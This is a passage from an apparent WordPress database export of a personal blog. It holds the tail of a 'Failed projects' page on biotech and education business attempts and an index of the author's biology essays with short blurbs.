-->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed:</strong> Educational apps are rough. There\'s not a lot of money in them, and especially not a lot of money for anything other than content. Also, my lack of programming ability made development slow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>If you\'re going to succeed with apps, you should be able to program so you\'re not reliant on someone else for velocity. Also, apps are not a business for me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed projects','','inherit','closed','closed','','12-revision-v1','','','2025-07-03 17:52:26','2025-07-03 17:52:26','',12,'https://trevorklee.com/?p=464',0,'revision','',0),
(465,1,'2025-07-03 20:57:12','2025-07-03 20:57:12','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-chemical-reason-that-pfas-are-forever-chemicals/\" data-type=\"page\" data-id=\"538\">The chemical reason PFAS are \"forever chemicals\"</a> - they are very stable and they get picked up by everything that picks up fatty acids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-evidence-on-plasticizer-health-harms/\" data-type=\"page\" data-id=\"528\">The evidence on plasticizer health harms</a> - Why I think NeutraOat is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-if-the-declines-of-aging-are-the-declines-of-taurine/\" data-type=\"page\" data-id=\"526\">What if the declines of aging are just the declines of taurine?</a> - Turns out that they aren\'t based on subsequent studies, but it was fun while it lasted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/do-taurine-and-glycine-provide-answers-to-the-mammalian-gallbladder-and-kidney-mysteries/\" data-type=\"page\" data-id=\"524\">Do taurine and glycine provide answers to the mammalian gallbladder and kidney mysteries?</a> - Introducing a mystery you\'ve never heard of with an answer that doesn\'t work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/some-ants-can-choose-to-live-5x-as-long/\" data-type=\"page\" data-id=\"518\">Some ants can choose to live 5x as long</a> - Insulin, gamergates, and ants doing fascinating ant stuff. I really like insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/thinking-about-a-cure-for-pain-again/\" data-type=\"page\" data-id=\"504\">Thinking about a cure for pain, again</a> - Non-opioid lenses into solving the pain problem</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/cracking-biological-emergence-with-mechanistic-interpretability/\" data-type=\"page\" data-id=\"500\">Cracking biological emergence with mechanistic interpretability</a> - Stumbling my way through an essay/company by Adam Green I found fascinating. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I<a href=\"https://trevorklee.com/if-langurs-can-drink-seawater-can-humans-do-so-as-well/\" data-type=\"page\" data-id=\"498\">f langurs can drink seawater, can humans as well?</a> - Exploring the mystery of the seawater drinking Cat Ba langurs, and advocating for stupid genetic modifications in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/no-human-genes-have-truly-100-penetrance/\" data-type=\"page\" data-id=\"496\">No human genes have truly 100% penetrance</a> - A spicy take that depends on precise definitions and annoyed geneticists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, 